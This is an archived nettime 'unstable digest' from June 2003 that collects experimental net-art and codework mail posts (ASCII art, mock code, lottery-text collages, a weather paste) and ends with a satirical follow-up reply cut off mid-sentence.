           {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                   {AT} \n                                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                            {AT} \n                                         {AT}  {AT}  {AT}  {AT} \n                                            {AT} \n                                       {AT}  {AT}  {AT}  {AT}                   {AT} \n                                       {AT}     {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT}  {AT} \n                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}              {AT}  {AT}  {AT} \n                     {AT}  {AT}  {AT}  {AT}  {AT}                  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}    {AT}  {AT} \n                    {AT}  {AT}                                  {AT}  {AT}  {AT}  {AT} \n                    {AT}  {AT}  {AT} \n                      {AT}  {AT}  {AT} \n                        {AT}  {AT}  {AT}  {AT} \n                           {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT}  {AT}  {AT} \n                                         {AT}  {AT}  {AT}  {AT}  {AT} \n                                             {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                      {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                 {AT} \n                                                           {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                         {AT}  {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT} \n                                   {AT}  {AT}  {AT}  {AT}  {AT} \n                                {AT}  {AT}  {AT}  {AT} \n                              {AT}  {AT}  {AT} \n                             {AT}  {AT} \n                             {AT} \n                            {AT}  {AT} \n                           {AT}  {AT} \n                          {AT}  {AT} \n                         {AT}  {AT} \n                        {AT}  {AT} \n                       {AT}  {AT}    {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                      {AT}  {AT}  {AT}  {AT}  {AT}                  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                    {AT}  {AT}  {AT}                            {AT}  {AT}  {AT}  {AT}  {AT} \n                   {AT}  {AT}  {AT}                                  {AT}  {AT}  {AT}  {AT}  {AT} \n                   {AT}  {AT}                                        {AT}  {AT}  {AT}  {AT} \n                   {AT}                                             {AT}  {AT}  {AT}  {AT}  {AT} \n                                                                   {AT}  {AT} \n                                                                    {AT} \n                                                                   {AT}  {AT} \n                                                                  {AT}  {AT} \n                                                                {AT}  {AT}  {AT} \n                                                            {AT}  {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT} \n                                {AT}  {AT} \n                                {AT}  {AT} \n                                 {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT} \n                                                        {AT}  {AT}  {AT} \n                                                          {AT}  {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                          {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT} \n                                {AT}  {AT} \n                                {AT}  {AT} \n                                 {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT} \n                                                        {AT}  {AT}  {AT} \n                                                          {AT}  {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n {AT}  {AT}                                                            {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT} \n                                {AT}  {AT} \n                                {AT}  {AT} \n                                 {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT} \n                                                        {AT}  {AT}  {AT} \n                                                          {AT}  {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                                                \n                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT} \n                                {AT}  {AT} \n                                {AT}  {AT} \n                                 {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT} \n                                                        {AT}  {AT}  {AT} \n                                                          {AT}  {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                 \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                                {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                      {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                 {AT} \n                                {AT}  {AT} \n                                {AT}  {AT} \n                                 {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT} \n                                     {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT} \n                                           {AT}  {AT}  {AT} \n                                              {AT}  {AT}  {AT}  {AT} \n                                                 {AT}  {AT}  {AT}  {AT} \n                                                    {AT}  {AT}  {AT}  {AT} \n                                                       {AT}  {AT} \n                                                        {AT}  {AT}  {AT} \n                                                          {AT}  {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                                           {AT} \n                                             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                       {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n                                  {AT}  {AT}  {AT}  {AT}  {AT} \n> dein SIG HIE =?iso-8859-1?q?Hillg=E4rter?=)\nfsa\n--===============96796080865625234==\nMIME-Version: 1.0\nContent-Disposition: inline\n\n-------------------------------------------------------\nrohrpost - deutschsprachige Liste zur Kultur digitaler Medien und Netze\nArchiv: http://www.nettime.org/rohrpost http://post.openoffice.de/pipermail=\n/rohrpost/\nEnt/Subskribieren: http://post.openoffice.de/cgi-bin/mailman/listinfo/rohrp=\nost/\n--===============96796080865625234==--\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: U R [L]\nDate: Wed, 25 Jun 2003 22:54:39 +0200\n\n1035\t\\   etter\t171\t187\t187\t187\t171\t187\n1036\tl\\   tter\t172\t188\t188\t188\t172\t188\n1168\tle\\   ter\t173\t189\t189\t231\t199\t231\n1038\tlet\\   er\t174\t190\t190\t190\t174\t190\n1039\tlett\\   r\t175\t191\t191\t191\t175\t191\n1102\tlette\\\t        192\t224\t224\t0\t192\t192\n1072\tletter\t        193\t225\t225\t0\t193\t193\n1073\tletter\t   \\e   4\t226\t226\t226\t194\t194\n1094\tletter\t1   \\n\t227\t227\t227\t195\t195\n1076\tletter\t19   \\c\t228\t228\t228\t196\t196\n1077\tletter\t197   \\i        229\t229\t0\t197\t197\n1092\tletter\t198    \\\t230\t230\t230\t198\t198\n1075\tletter\t199     \\p\t231\t231\t231\t199\t199\n1093\tletter\t200      \\h     232\t232\t232\t200\t200\n1080\tletter\t201\t\n\n                       l o v      .e r\n\n\n                           \\e        33\t233\t0\t201\t201\n1081\tletter\t202\t2  \\r\t   234\t234\t202\t202\n1082\tletter\t203\t23  \\\t   235\t235\t203\t203\n1083\tletter\t204\t236\t   236\t236\t204\t204\n1084\tletter\t205\t237\t   237\t237\t205\t205\n1085\tletter\t206\t238\t\\   38\t238\t206\t206\n1086\tletter\t207\t239\t2\\   9\t0\t207\t207\n1087\tletter\t208\t240\t24\\\t240\t208\t208\n1103\tletter\t209\t241\t241\\\t0\t209\t209\n1088\tletter\t210\t242\t242 \\\t242\t210\t210\n1089\tletter\t211\t243\t243  \\\t243\t211\t211\n1090\tletter\t212\t244\t244   \\ 244\t212\t212\n1091\tletter\t213\t245\t245    \\0\t213\t213\n1078\tletter\t214\t246\t246\t 46\t214\t214\n1074\tletter\t215\t247\t247\t2\\7\t215\t215\n1100\tletter\t216\t248\t248\t24\\\t216\t216\n1099\tletter\t217\t249\t249\t0\t217\t217\n1079\tletter\t218\t250\t250\t250\t218\t218\n1096\tletter\t219\t251\t251\t251\t219\t219\n1101\tletter\t220\t252\t252\t0\t\\20\t220\n1097\tletter\t221\t253\t253\t253\t2\\1\t221\n1095\tletter\t222\t254\t254\t254\t22\\\t222\n1098\tletter\t223\t255\t255\t255\t223\\\t223\n                                                      \\\n                                                       \\\n                                                        \\\n                                                         \\\n                                                          \\\n                                                           \\\n                                                            \\\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                            {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"MAIL\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: defn.iCCalt\nDate: Thu, 26 Jun 2003 11:13:38 -0600\n\ntwrdst -> a.grainst + a.grainst\n//fixt.a/x/i/ONE\ndDOES + dDOES knot STATe =\n\n\"presented as .txt\"\nautumn-frequency\n\n\n\n\nDate: Sun, 22 Jun 2003 11:02:31 -0700 (PDT)\nFrom: Kamen Nedev <camu3dat {AT} yahoo.com>\nTo: 7-11 <7-11 {AT} mail.ljudmila.org>, Webartery <webartery {AT} yahoogroups.com>\nSubject: BonoLoto Mi=E9rcoles 18/06/2003\n\n\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\n6 10 16 28 43 46 c:4 R:9\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nfreud adorno but historical of mode c:his r:adorno\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nif the pictures papers students 46 c:will\nr:instructor's\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nsido 10 mientras (faloc\u00e9ntrica) su haciendo c:una\nr:v\u00eddeo\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\ncannot ful but as 43 46 c:century r:benefit\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\ntechnologies control add and 43 46 c:the\nr:counterculture\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nphases (tests tension \"... 43 46 c:[my r:(distance-\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nconsensus terms tain berks 43 46 c:was r:might\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nsensible el se adapta nosotros que c:una r:algo\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nsleep loathed her the 43 46 c:and r:last\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nsymptomatic been and evolutionism 43 46 c:nouveu\nr:captain\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\ndebussy instructions sprovieri typically many 46\nc:which r:\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nare *** than sensitivity poetry the c:where\nr:recreates\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nlook black government so 43 46 c:whose r:is\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nthe greek the of 43 46 c:between r:his\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nalthough outside construction la 43 46 c:man r:tresses\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nsuccessfully widths and twelfth-century 43 46 c:the\nr:ground\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\nfigure native talizing finally 43 46 c:a r:them\n\n\n\n215141512152015 1391831512519 ah/0f/b00c\n\n\nf j  p  28 43 46 3:d 18:i\n\n\na+a=a+a\n\n\n------ after Ana Buigues' clarification\n\nAna Buigues <abuigues {AT} WANADOO.ES>\nRemitente: \"WRYTING-L : Writing and Theory across\nDisciplines\" <WRYTING-L {AT} LISTSERV.UTORONTO.CA>\n          Asunto: clarification\nFecha: Vie, 20 Jun 2003 08:55:55 +0200\nPara: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nBonoLoto Mi\u00e9rcoles 18/06/2003\n\n6 10 16 28 43 46 c:4 R:9\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n1+1=1+1\n\n\n\nKamen Nedev\n\nhttp://sixdigit.swiki.net\n\n__________________________________\nDo you Yahoo!?\nSBC Yahoo! DSL - Now only $29.95 per month!\nhttp://sbc.yahoo.com\n\n\n\nYour use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/\n\n\n\n\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nTo: \"probes_02\" <_arc.hive_ {AT} lm.va.com.au>\nSubject: Re: [ _n.sert]\nDate: Wed, 25 Jun 2003 12:58:11 -0600\n\nwheref:ROM_wav.form:\nwhere\n\"we\"\nequals:\nautumn-frequency\n\n\n\n\nDate: Mon, 23 Jun 2003 13:58:55 +0200\nFrom: <mcantsin {AT} online.no>\nTo: syndicate {AT} anart.no\nSubject: ping the dead\n\n\n------------=_1056376204-643-790\n\n\nthe unidentitary individual\n\nbodycount by irrational numbers, nonintegers\n\n#    IP address       Host name                                Round trip time\n1    127.0.0.1    Unavailable                                  947.69583676475745.. mc\n\n--\n\n------------=_1056376204-643-790\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1056376204-643-790--\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: __C.H.A.R_U.N.S./.G.N.E.D__\nDate: Thu, 26 Jun 2003 04:23:05 +0200\n\n\n\n\ni.f.   n.d.e.f ____\n.d.e.f   l.i.n.e ____ 8         /\ne.n.d. i   f                   /\ni.f.d.e.f.    __C.H.A.R_U.N.S./.G.N.E.D__\ndefine    ______ f.a.l.s.e.  /\nelse                       /\ndefine __   ____ t.r.u.e. /\nendif                    /\n\n\n\nifndef __     __        /\ndefine __  P     __ 16 /\nendif                 /\nifndef __ g  E     __\ndefine __g.l  R     __ 32\nendif\nifndef __gl.i  M  c __\ndefine __gli b  U  o __ 32\nendif\nifndef __glibcpp/    m___\ndefine __glibcp/       p___ 32\nendif         /\nifndef __glib/pp_we     u__\ndefine __gli/cpp_wcr  T   t___ t.r.u.e\nendif      /\nifndef __g/ibcpp_long_         l.o.n.g b.\ndefine __/libcpp_long_          n.g_b.i.t.s. 64\nendif   /\nifndef /_glibcpp_float_b     .t.s.\ndefine/__glibcpp_float_b    A  t.s.3.2.\nendif/\n\n\ni.f./.d.e.f__g.l.i.b.c.p.p:d.o.u.b.l.e:b.i.t   .s\nd./.f.i.n.e __g.l.i.b.c.p.p._d.o.u.b.l.e_b.i.t.s.      (1664)\n\n\n\ne/n.d.i.f.                    B\n/fndef __glibcpp_long_double_  b   its\ndefine __glibcpp_long_double_  bi   ts 128\nendif                            it\n                                    ts\n                                     s\n                                      s\n\n\n\n\n\n\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n                             {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nDate: Wed, 25 Jun 2003 13:43:52 +0300 (EEST)\nFrom: god <insect {AT} other.root>\nTo: o-o {AT} konferencijos.lt\nSubject: Re: Remix:  ROOT IS GOD IN THE WORLD IS ROOT ~ not\n\n|\n||\n||\n||\n||\n||||\n||||\n||||\n||||||\n|||||||\n|||||||\n|||||||\n|||||||\n|\n||\n||\n|||\n||||\n|||`|\n|||||\n|||||\n|||||\n||||`|\n||||||\n|||||||\n|||||||\n|\n||\n||\n|||\n|||\n|||\n|||\n|||||\n|`||||\n||||||\n|||||||\n|||||||\n|||||\n||||||||\n||\n|\n|||\n||\n||||\n||||\n||||||\n||||||\n||||\n||||\n||||||\n|\n|\n|`|\n||||\n|||||\n||||||\n||||||\n||||||\n|||||||\n|||||||\n|||||||\n|\n|\n|\n|\n|\n||\n|||\n||||\n||||\n|`|||\n|||||||\n||||||\n|\n|\n||\n||||\n||||\n||||\n||||\n||||\n|||||\n||||||\n|||||||\n||||||\n|||||||\n|||||\n||||||\n|||||||\n|||\n||\n||\n|||\n||||||||\n|||\n||\n||\n||||\n|\n||\n||||\n|||||||\n|||||\n|||||||\n||||||||\n||\n|||||||||\n||\n|||||||\n|||||\n|||||\n|||\n||||||||\n||\n|\n|\n|\n||\n|||\n|||\n||||\n|||||\n|||||\n||||||\n|||||`|\n|||||||\n|||||||\n|\n||\n||\n||\n||\n|||\n|||\n||||\n||||`|\n|||||\n||||||\n|||||||\n||||||\n|\n|||||\n|||||\n||||||\n||||||\n|||||||\n||||||`|\n|||||||\n|||||||\n|||||||\n|\n||||||\n||||||\n|\n|\n||\n||\n|||||\n|||||\n|||||\n|||||\n|||||\n|||||\n||||||\n|||||||\n|||||||\n|\n|\n|\n|\n|\n||\n||||\n||||\n||||\n||||||\n|||||||\n|||||||\n||||||\n||\n||\n|||\n|||\n|||||\n||||||\n||||||\n||||||\n|`|||||\n||||||\n|||||||\n||||||\n|||||||||\n||||||\n|||\n||||\n|||||\n|||\n||||||\n||||\n||||||\n|||||\n|||||||\n|||||||\n||||||||\n|||\n|||||||\n||||||\n\n\np____________o____________s_____________t\na       r       c       h       i       v       e   http://www.o-o.lt/post\n\n\n\nDate: Fri, 27 Jun 2003 09:17:44 +0200\nFrom: Ana Buigues <abuigues {AT} WANADOO.ES>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: clarification\n\n\n\n\n\n\nValencia, Espa\u00f1a\nUltima actualizaci\u00f3n viernes 27 de junio de 2003, a las 7:30 Hora de Verano de Europa\nCentral (viernes, 5:30 GMT)\n\n\nTiempo\nPrevisto   10:00\n\nSoleado   11:00\n\nSoleado   12:00\n\nSoleado   13:00\n\nSoleado   14:00\n\nSoleado   15:00\n\nSoleado   16:00\n\nSoleado   17:00\n\nSoleado\n\nTemperatura  25\u00b0C   27\u00b0C   28\u00b0C   30\u00b0C   31\u00b0C   31\u00b0C   31\u00b0C   31\u00b0C\n\nSensaci\u00f3n T\u00e9rmica  28\u00b0C   30\u00b0C   33\u00b0C   35\u00b0C   37\u00b0C   38\u00b0C   38\u00b0C   38\u00b0C\n\nPunto del roc\u00edo  23\u00b0C   23\u00b0C   23\u00b0C   24\u00b0C   24\u00b0C   25\u00b0C   25\u00b0C   26\u00b0C\n\nHumedad  89%   82%   76%   71%   68%   68%   70%   73%\n\n\nViento\ndel Norte Noroeste a 8 km/h\ndel Norte Noreste a 10 km/h\ndel Este Noreste a 11 km/h\ndel Este a 13 km/h\ndel Este a 14 km/h\ndel Este a 14 km/h\ndel Este a 13 km/h\ndel Este a 13 km/h\n\nPosibilidad de precipitaci\u00f3n  10%   10%   10%   10%   10%   10%   10%   10%\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n__\u00b0C   =   __ \u00b0F     [calcular]     [borrar]\n\n\n\n\n\n\n\nnettime unstable digest vol 53\nMon Jun 30 23:18:34 2003\n\n\nSubject: Dimensional Warp Generator Needed h za ul\n    From: \"\" <rice {AT} aednet.net>\n    To: <webmaven {AT} i2eye.com>\n\nSubject: rohrpost {AT} mikrolisten.de\t1 \tto: <3D9DDB1E.D65B442B {AT}  \n    From: 404 <404 {AT} jodi.org>\n    To: rohrpost {AT} mikrolisten.de\n\nSubject: U R [L]\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: defn.iCCalt\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"MAIL\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: BonoLoto Mi=E9rcoles 18/06/2003\n    From: Kamen Nedev <camu3dat {AT} yahoo.com>\n    To: 7-11 <7-11 {AT} mail.ljudmila.org>, Webartery <webartery {AT} yahoogroups.com>\n\nSubject: Re: [ _n.sert]\n    From: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\n    To: \"probes_02\" <_arc.hive_ {AT} lm.va.com.au>\n\nSubject: ping the dead\n    From: <mcantsin {AT} online.no>\n    To: syndicate {AT} anart.no\n\nSubject: __C.H.A.R_U.N.S./.G.N.E.D__\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: Re: Remix:  ROOT IS GOD IN THE WORLD IS ROOT ~ not\n    From: god <insect {AT} other.root>\n    To: o-o {AT} konferencijos.lt\n\nSubject: clarification\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0307/msg00002.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 53",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "follow-up": [
                    {
                        "from": "S <primeweevil {AT} shaw.ca>",
                        "content": "\nsorry to inform you the 4 Dimensional Warp Generator is out of stock, but\ncan we interest you in something newer?:\n\nFeint Apophasis Tain Effacer (FATE)\nAbstract:  Veer negativa. Operative noise. Realtime program that can\n\"differentiate between a feint and a main effort\" in an enemy, and\nrescramble enemy mimesis using Doppler wawa and transitive dissolution. FATE\ndisorients one's surround, stirs ontic discombobulation, disappears you with\na stun grenade of equivocation. Faster blur of alternate figural resolutions\nconfuses your rival in a supra-quantum b.s. of bodying-forth.  Producing a\nfeint plethora FATE's 'apoFeint' manages martial sovereignty. Sun Tzu's Ch'i\n(action) is surveillance by the lights of invisibility, afforded by the\nfeint. In war, one is only truly reading when one is un- or misread, or when\nenemy is made to mis- or unread enemy. Horizon-ramping algorithms for smart\narrhythmia let FATE read enemy feints through the client's own feints. Using\nFATE, your very feint phylogenizes your foe, giving you the ontogenic edge.\nRelated methods are also provided.\nClaims:  FATE is our becoming unorientable. Anonymity without hiding but by\ndistorting one's surround so it can't even recognize itself, and\ndisappearing into this, the other's disorientation.\nCivil Application:  A waviform hiccup in sense precedes you whenever you\nwant dispositif camo, and you can move through a crowd as the crest on 